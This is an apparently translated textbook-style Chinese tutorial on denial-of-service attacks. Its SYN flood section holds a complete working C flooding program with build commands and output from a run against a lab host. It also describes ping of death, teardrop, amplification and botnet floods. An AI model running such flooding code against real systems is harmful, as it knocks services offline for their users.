从程序详解拒绝服务***
從程序詳解拒絕服務***
拒絕服務(Denial of Service,? DoS)***是最簡單的網絡***形式之一,它只阻止對服務或資源的訪問,而不是試圖竊取信息。DoS***有兩種常見的形式:使服務崩潰和泛洪服務。相比基于網絡的利用而言,使服務崩潰的拒絕服務***實際上更類似于程序利用。通常這些***依賴于特定供應商提供的拙劣實現。緩沖區溢出漏洞通常會使目標程序崩潰,而不是將執行流程轉向注入的shellcode。如果該程序恰好在服務器上,那么在服務器崩潰之后任何人將不能訪問它。類似的崩潰式DoS***緊緊依賴于特定程序和特定版本。因為操作系統負責處理網絡堆棧,代碼的崩潰會卸下內核程序,拒絕為整個機器提供服務。在現代操作系統中,許多這樣的漏洞在很久以前就已經得到修補,但考慮這些技術如何應用于不同的情形仍是有用的。
1.SYN泛洪(Flooding)
SYN泛洪會耗盡TCP/IP堆棧,而不是耗盡網絡帶寬。因為TCP保持“可靠的”連接,所以需要在某處對每個連接進行跟蹤。內核程序中的TCP/IP堆棧對此進行處理,但堆棧表有限,所以它只能跟蹤若干個傳入的連多。SYN泛洪***使用欺騙來利用這種限制。
***者使用一個偽造的不存在的源地址,用許多SYN數據包泛洪受害者的系統。因為SYN數據包用來打開一個TCP連接,所以受害者的機器會向偽造的地址發送一個SYN/ACK數據包作為響應,并等待預期的ACK響應。每個這種處于等待狀態、半開的連接都進入空間有限的待處理隊列。因為偽造的源地址實際上并不存在,所以將那些待處理隊列中的記錄刪除并完成連接所需的ACK響應永遠不會到來。相反,每個半開連接一定超時,這將花費一段比較長的時間。只要***者使用偽造的SYN數據包繼續泛洪受害者的系統,受害者的待處理隊列將一直保持滿員,這使得真正的SYN數據包幾乎不可能到達系統并打開有效的TCP/IP連接。利用nemesis和arpspoof的源代碼作為參考,您應當能夠編寫出完成這種***的程序。下面的例子程序使用了libnet函數,它是從我們先前解釋過的源代碼和套接字函數中提取出來的。Nemesis的源代碼使用函數libnet_get_prand()獲得用于各個IP域的偽隨機數。函數libnet_see_prand()用來產生隨機程序的種子數。在下面的程序中,同樣使用了這些函數。
Synflood.c
#include <libnet.h>
#define FLOOD_DELAY 5000 // Delay between packet injects by 5000 ms.
/* Returns an IP in x.x.x.x notation */
char *print_ip(u_long *ip_addr_ptr) {
?? return inet_ntoa( *((struct in_addr *)ip_addr_ptr) );
}
int main(int argc, char *argv[]) {
?? u_long dest_ip;
?? u_short dest_port;
?? u_char errbuf[LIBNET_ERRBUF_SIZE], *packet;
?? int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H;
?? if(argc < 3)
?? {
????? printf("Usage:\n%s\t <target host> <target port>\n", argv[0]);
????? exit(1);
?? }
?? dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // The host
?? dest_port = (u_short) atoi(argv[2]); // The port
?? network = libnet_open_raw_sock(IPPROTO_RAW); // Open network interface.
?? if (network == -1)
????? libnet_error(LIBNET_ERR_FATAL, "can't open network interface.? -- this program
?must run
as root.\n");
?? libnet_init_packet(packet_size, &packet); // Allocate memory for packet.
?? if (packet == NULL)
????? libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n");
?? libnet_seed_prand(); // Seed the random number generator.
?? printf("SYN Flooding port %d of %s..\n", dest_port, print_ip(&dest_ip));
?? while(1) // loop forever (until break by CTRL-C)
?? {
????? libnet_build_ip(LIBNET_TCP_H,????? // Size of the packet sans IP header.
???????? IPTOS_LOWDELAY,???????????????? // IP tos
???????? libnet_get_prand(LIBNET_PRu16), // IP ID (randomized)
???????? 0,????????????????????????????? // Frag stuff
???????? libnet_get_prand(LIBNET_PR8),?? // TTL (randomized)
???????? IPPROTO_TCP,??????????????????? // Transport protocol
???????? libnet_get_prand(LIBNET_PRu32), // Source IP (randomized)
???????? dest_ip,??????????????????????? // Destination IP
???????? NULL,?????????????????????????? // Payload (none)
???????? 0,????????????????????????????? // Payload length
???????? packet);??????????????????????? // Packet header memory
????? libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // Source TCP port (random)
???????? dest_port,????????????????????? // Destination TCP port
???????? libnet_get_prand(LIBNET_PRu32), // Sequence number (randomized)
???????? libnet_get_prand(LIBNET_PRu32), // Acknowledgement number (randomized)
???????? TH_SYN,???????????????????????? // Control flags (SYN flag set only)
???????? libnet_get_prand(LIBNET_PRu16), // Window size (randomized)
???????? 0,????????????????????????????? // Urgent pointer
???????? NULL,?????????????????????????? // Payload (none)
???????? 0,????????????????????????????? // Payload length
???????? packet + LIBNET_IP_H);????????? // Packet header memory
????? if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)
???????? libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n");
????? byte_count = libnet_write_ip(network, packet, packet_size); // Inject packet.
????? if (byte_count < packet_size)
???????? libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written.? (%d of %d
bytes)", byte_count, packet_size);
????? usleep(FLOOD_DELAY); // Wait for FLOOD_DELAY milliseconds.
?? }
?? libnet_destroy_packet(&packet); // Free packet memory.
?? if (libnet_close_raw_sock(network) == -1) // Close the network interface.
????? libnet_error(LIBNET_ERR_WARNING, "can't close network interface.");
?? return 0;
}
這個程序使用print_ip()函數將u_long類型(libnet使用這種數據類型存儲IP地址)轉換成inet_ntoa()期望的結構類型。這個過程并不改變值——這種轉換只是為了滿足編譯程序的需要。
Libnet當前的發行版本是1.1,它與libnet l.0不兼容。但是,nemesis和arpspoof仍依賴于libnet 1.O版,因此在LiveCD中提供的是1.0版libnet,而且在我們的synflood程序中也使用這個版本。與使用libpcap時的編譯相似,使用libnet編譯時,需要使用-lnet標記。但是,對于編譯程序來說這些信息還不夠,如下面的輸出所示。
lcg@linux:~/src $ gcc -o synflood synflood.c -lnet
In file included from synflood.c:1:
/usr/include/libnet.h:87:2: #error "byte order has not been specified, you'll"
synflood.c:6: error: syntax error before string constant
lcg@linux:~/src $
編譯程序仍會失敗,因為需要為libnet設置若干個強制性定義標記。Libnet中包含的一個名為libnet-config的程序能輸出這些標記。
lcg@linux:~/src $ libnet-config --help
Usage: libnet-config [OPTIONS]
Options:
??????? [--libs]
??????? [--cflags]
??????? [--defines]
lcg@linux:~/src $ libnet-config --defines
-D_BSD_SOURCE -D__BSD_SOURCE -D__FAVOR_BSD -DHAVE_NET_ETHERNET_H
-DLIBNET_LIL_ENDIAN
通過對它們使用BASH shell的命令令替換,可以將這些定義動態插入編譯命令今中。
lcg@linux:~/src $ gcc $(libnet-config --defines) -o synflood
synflood.c -lnet
lcg@linux:~/src $ ./synflood
Usage:
./synflood?????? <target host> <target port>
lcg@linux:~/src $
lcg@linux:~/src $ ./synflood 192.168.42.88 22
Fatal: can't open network interface.? -- this program must run as root.
lcg@linux:~/src $ sudo ./synflood 192.168.42.88 22
SYN Flooding port 22 of 192.168.42.88..
在上面的例子中,主機192.168.42.88是一個Windows XP機器,它借助cygwin在端口22上運行著一個openssh服務器。下面的tcpdump輸出顯示了欺騙SYN數據包從貌似隨機的IP地址處泛洪了主機。程序運行時,合理的連接將不能連通這個端口。
lcg@linux:~/src $ sudo tcpdump -i eth0 -nl -c 15 "host 192.168.42.88"
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
17:08:16.334498 IP 121.213.150.59.4584 > 192.168.42.88.22: S
751659999:751659999(0) win 14609
17:08:16.346907 IP 158.78.184.110.40565 > 192.168.42.88.22: S
139725579:139725579(0) win 64357
17:08:16.358491 IP 53.245.19.50.36638 > 192.168.42.88.22: S
322318966:322318966(0) win 43747
17:08:16.370492 IP 91.109.238.11.4814 > 192.168.42.88.22: S
685911671:685911671(0) win 62957
17:08:16.382492 IP 52.132.214.97.45099 > 192.168.42.88.22: S
71363071:71363071(0) win 30490
17:08:16.394909 IP 120.112.199.34.19452 > 192.168.42.88.22: S
1420507902:1420507902(0) win 53397
17:08:16.406491 IP 60.9.221.120.21573 > 192.168.42.88.22: S
2144342837:2144342837(0) win 10594
17:08:16.418494 IP 137.101.201.0.54665 > 192.168.42.88.22: S
1185734766:1185734766(0) win 57243
17:08:16.430497 IP 188.5.248.61.8409 > 192.168.42.88.22: S
1825734966:1825734966(0) win 43454
17:08:16.442911 IP 44.71.67.65.60484 > 192.168.42.88.22: S
1042470133:1042470133(0) win 7087
17:08:16.454489 IP 218.66.249.126.27982 > 192.168.42.88.22: S
1767717206:1767717206(0) win 50156
17:08:16.466493 IP 131.238.172.7.15390 > 192.168.42.88.22: S
2127701542:2127701542(0) win 23682
17:08:16.478497 IP 130.246.104.88.48221 > 192.168.42.88.22: S
2069757602:2069757602(0) win 4767
17:08:16.490908 IP 140.187.48.68.9179 > 192.168.42.88.22: S
1429854465:1429854465(0) win 2092
17:08:16.502498 IP 33.172.101.123.44358 > 192.168.42.88.22: S
1524034954:1524034954(0) win 26970
15 packets captured
30 packets received by filter
0 packets dropped by kernel
lcg@linux:~/src $ ssh -v 192.168.42.88
OpenSSH_4.4p2, OpenSSL 0.9.8c 05 Sep 2006
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: Connecting to 192.168.42.88 [192.168.42.88] port 22.
debug1: connect to address 192.168.42.88 port 22: Connection refused
ssh: connect to host 192.168.42.88 port 22: Connection refused
lcg@linux:~/src $
一些操作系統(例如Linux)設法使用一種稱為syncookies的技術阻止SYN泛洪***。TCP堆棧利用syncookies使用一個基于主機詳細信息和次數(以阻止重放***)的值為SYN/ACK數據包調整初始確認號碼。
直到檢查完TCP握手的最后一個ACK包之后,TCP連接實際上才會被激活。如果序號不匹配或ACK沒有到達,就決不會創建連接。這有助于阻止欺騙性連接,因為ACK包要求向原始SYN包的源地址發送信息。
2. 死亡之ping
根據ICMP說明書,ICMP響應消息數據包的數據部分只能是216,即65536個字節。ICMP數據包的數據部分通常被忽略,因為重要的信息包含在頭中。如果向某些操作系統發送超過規定大小的ICMP回送消息,系統將會崩潰。這個超大的ICMP回送消息被形象地稱為“死亡之ping (ping of Death)”。這是一種非常簡單的對已存在的弱點的***,因為從來沒有人考慮過這種可能性。對您來說,利用libnet編寫一個完成這種***的程序應當很容易,但是,在現實世界它的用處不大。所有現代的系統都修補了這個漏洞。但是,歷史總會重演。盡管超大的ICMP數據包再也不會使計算機崩潰了,但新技術有時會受到類似問題的困擾。普遍應用于電話的藍牙(Bluetooth)協議在L2CAP層上有一種類似的ping數據包,這個層也用于測量在已建立連接的通信線路上的通信時間。藍牙的許多實現都受到相同的超大ping數據包問題的困擾。Adam Laurie、Marcel Holtmann和Martin Herfurt將這種***命名為Bluesmack,并且以這個名稱發布了用于完成這種***的源代碼。
3.淚滴(Teardrop)
另一個源自相同原因的類似的崩潰式DoS***稱為淚滴(teardrop)***。淚滴利用了某些提供商實現IP片段重組時的弱點。通常數據包分段時,存儲在頭中的偏移量將無重疊地排列以重建原始數據包。淚滴***發送具有重疊偏移量的數據包片段,這將造成對這種不規則條件不進行檢查的實現不可避免地崩潰。
雖然這種特殊的***不再發揮作用了,但理解這個概念可以揭示其他領域內的問題。雖然并非只局限于拒絕服務,但一種最近在OpenBSD內核(以其自身的安全性為榮)中的遠程漏洞發掘與IPv6數據包碎片有關。IPv6使用更復雜的報頭,甚至使用了與大多數人熟悉的IPv4不同的IP地址格式。在新產品的早期實現中,會經常重復過去所犯的相同錯誤。
4. ping泛洪(Flooding)
泛洪Dos***并不試圖使服務或資源崩潰,而是使它過載從而使其不能響應。類似的***可以占用其他資源,例如CPU周期和系統進程,但泛洪***總是傾向于試圖占用網絡資源。
最簡單的泛洪***形式是ping泛洪,其目的是耗盡受害者的帶寬,以至于合法的流量不能通過。***者向受害者發送許多很大的ping數據包,消耗受害者網絡連接的帶寬。
這種***沒有什么過人之處——它只是一場帶寬的戰斗:比受害者擁有更大帶寬的***者能夠發送大小超過受害者可以接收的極限的數據,并因此阻止其他合法流量到達受害者處。
5.放大***
實際上,有一些巧妙的實現ping泛洪的方式,它們不需要使用較大的帶寬。放大***利用欺騙和廣播尋址使單一的數據包流被成百倍地放大。首先,必須找到一個目標放大系統。這應當是一個允許向廣播地址通信并且有較多活動主機的網絡。然后,***者使用偽造的受害者系統的源地址向放大網絡的廣播地址發送大量的ICMP回送請求數據包。放大器會向放大網絡的所有主機廣播這些數據包,然后這些主機會向偽造的源地址(例如,向受害者的機器)發送相應的ICMP回送應答數據包,如圖所示。
流量放大允許***者發送相對較小的ICMP回送請求數據包流,而受害者會被成百倍的ICMP回送應答數據包泛洪。可以使用ICMP數據包和UDP回送數據包實施該***。相應技術分別稱為smurf***和fraggle***。
?
6.分布式DoS泛洪
分布式DoS (DDoS)***是泛洪DoS***的分布式版本。因為泛洪DoS***的目的是消耗帶寬,***者占用的帶寬越大,他們可以造成的破壞就越大。在DDoS***中,***者首先與許多其他主機達成協議并在這些主機上安裝daemon軟件。安裝了這種軟件的系統通常被稱為僵尸(bot),這些系統構成了所謂的僵尸網絡(botnet)。這些僵尸耐心地等待,知道***者挑中一個受害者并且決定發動***。***者使用某些控制程序,并且所有僵尸同時使用某種泛洪DoS***向受害者發起進攻。大量分散的主機不但增加了泛洪的效果,而且也使得對***源的跟蹤更加困難。
下回將講解Tcp/Ip劫持技術
總結
以上是生活随笔為你收集整理的从程序详解拒绝服务***的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 炒面用的是什么面?
- 下一篇: 把七个苹果,五个橘子,四个桃装成一个果篮